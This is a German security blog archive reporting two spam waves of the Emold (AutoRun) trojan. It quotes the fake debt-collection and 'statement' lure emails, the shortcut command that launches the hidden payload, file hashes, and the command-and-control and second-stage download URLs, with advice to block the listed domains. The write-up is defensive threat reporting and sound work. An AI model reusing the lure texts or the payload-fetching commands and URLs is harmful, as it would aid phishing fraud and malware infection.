Tag Archive for 'emold'

Emold: abrechnung.zip

Seit heute Nachmittag kurz nach 14:30 Uhr verbreitet sich ein noch unbekannter Trojaner per Spam-E-Mail:

Betreff: Abrechnung 59745458055

Sehr geehrte Damen und Herren!
Die Anzahlung Nr.257406245440 ist erfolgt
Es wurden 8121.00 EURO Ihrem Konto zu Last geschrieben.
Die Auflistung der Kosten finden Sie im Anhang in der Datei: Abrechnung.

Regel Inkasso GmbH & Co. KG
Fredeburger Str. 21
33699 Bielefeld

Postfach 51 20 05
33698 Bielefeld

Tel.: 0521 93212-0
Fa x: 0521 92412-15

AG Bielefeld HRA 13169
Steuer-Nummer: 349/5749/0377

Komplementargesellschaft:
Regel Verwaltungs-GmbH
AG Bielefeld HRA 34932

Die erwähnte Inkasso Firma Regel Inkasso GmbH & Co. KG ist jedoch viel mehr Opfer als Täter- Der Absender ist nämlich gefälscht.

Die Nummer im Betreff sowie die Anzahlungsnummer (Anzahlung Nr.) und der EURO Betrag im E-Mail Text variieren. Im Attachement abrechnung.zip befindet sich ein derzeit noch unbekannter Trojaner. Der Trojaner ist in der Datei scann.a im Attachement abrechnung.zip versteckt. Der Trojaner lässt sich jedoch nur über die ebenfalls im Attachement vorhandene Verknüpfung abrechnung.lnk ausführen, welche die Datei scann.a im Ordner scan via cmd.exe ausführt:

%windir%\system32\cmd.exe /c scann\scann.a

Mit einem Klick auf die Verknüpfung , wird der eigentliche Trojaner ausgeführt:

Filename: scann.a
File size: 26112 bytes
MD5…: b2f27d1b598d46998eda3a12ddfe140e
SHA1..: ee18628238725d3938c8810b8d019cfc8401aca7
Erkennungsrate: 3/37 (8.11%)

Die Erkennungsrate des Trojaners ist äusserst schlecht. Es handelt sich dabei jedoch höchstwahrscheinlich um Emold / AutoRun. Nach der Infektion kontaktiert er die uns von früher bereits bekannte Domain univnext.cn (218.93.202.102 CHINANET-JS):

GET http://univnext.cn/ld.php?v=1=rs

Das Attachement sollte auf keinen Fall geöffnet werden. Des Weiteren sollten Unternehmen den Zugriff auf univnext.cn (218.93.202.102) an Ihren Gateways unterbinden.

UPDATE 15:52 Uhr

Der vom Trojaner Kontaktierte Server (218.93.202.102) scheint auch noch andere Webseiten zu hosten:

  • absoluts.org
  • murakamus.cn
  • univnext.cn
  • suspended-domain.ru
  • mangust32.cn
  • liveinternetstatistics.ws
  • linenetz.com
  • usersoftware.in
  • Die Webseiten hosten teilweise Konfigurationsdateien von unserem Freund WSNPoem sowie verschiedene Drive-By exploits. Es empfiehlt sich also auch hier, den Zugriff auf die oben genannten Domains zu blockieren.

    UPDATE 22:07 Uhr

    Nach einer weile scheint der Trojaner auf Kommando weiteren Schadcode von topdirectory.info (216.246.45.76 – HostForWeb Inc.) nach zu laden:

    GET http://topdirectory.info/bobunger2006/z.exe

    Filename: z.exe
    File size: 43249 bytes
    MD5…: 86838c10f0f87876c267c20a3ae2241e
    SHA1..: 975bce9fa4fbb0a1946c1f24bcce91846e47e7e8
    Erkennungsrate: 2/37 (5.41%)

    Die Erkennungsrate bei der nachgeladenen Datei (z.exe) ist noch schlechter als beim Trojaner selbst (scann.a). Der nun nachgeladene Trojaner kontaktiert ebenfalls regelmässig eine weitere Domain:

    mssrv10256.com 91.207.117.251 (MEGATECH-NET, Russia)

    GET http://mssrv10256.com/IT03/get.php

    Erneut gilt es, den Zugang zu den folgende Domains zusätzlich zu blockieren:

  • mssrv10256.com (91.207.117.251)
  • topdirectory.info (216.246.45.76)
  • Emold: Statement.Jan,Oct.zip

    Seit heute Morgen kurz nach 9:00 Uhr verbreitet sich Emold (aka AutoRun) mit einer neuen Spam-Welle:

    Betreff: Statement Januar – October
    Please find the document attached to this message. The report was issued today. Requested account details have been altered successfully.

    Thank you for contacting us.

    Respectfully,
    Antoinette

    Betreff der E-Mail variiert:

  • Data request
  • Statement Januar – October
  • Account information
  • Attached Statement
  • Im Attachement Statement.Jan,Oct.zip befindet sich die ausführbare Datei Statement_January-October.doc.exe im welcher sich der Trojaner Emold befindet:

    Filename: Statement_January-October.doc.exe
    File size: 47616 bytes
    MD5…: 7c90658b942d2608e44d2c85955318f8
    SHA1..: dd37c8255d37cca6e87257c2265fdd36629b073d
    Erkennungsrate: 6/36 (16.67%)

    Nach der Infektion lädt der Trojaner weiteren Schadcode von peterharris.com.au (202.191.62.240) sowie marsdenpilgrimages.com.au (202.191.61.82) nach:

    GET http://peterharris.com.au/lsys/lscan2.exe
    GET http://marsdenpilgrimages.com.au/lsys/lscan2.exe

    Filename: lscan2.exe
    File size: 23552 bytes
    MD5…: c1b7ea81f3f8517a89f568ad6f416040
    SHA1..: 7309e9f44cfed11dea8c174afc48ed400f7065af
    Erkennungsrate: 6/36 (16.67%)

    Mit installiert wird auch der Spam-Mailer Cutwail, welcher den Infizierten Rechner in einen Spam-Bot verwandelt.




    economics-recluse
    Scene
    Urgent!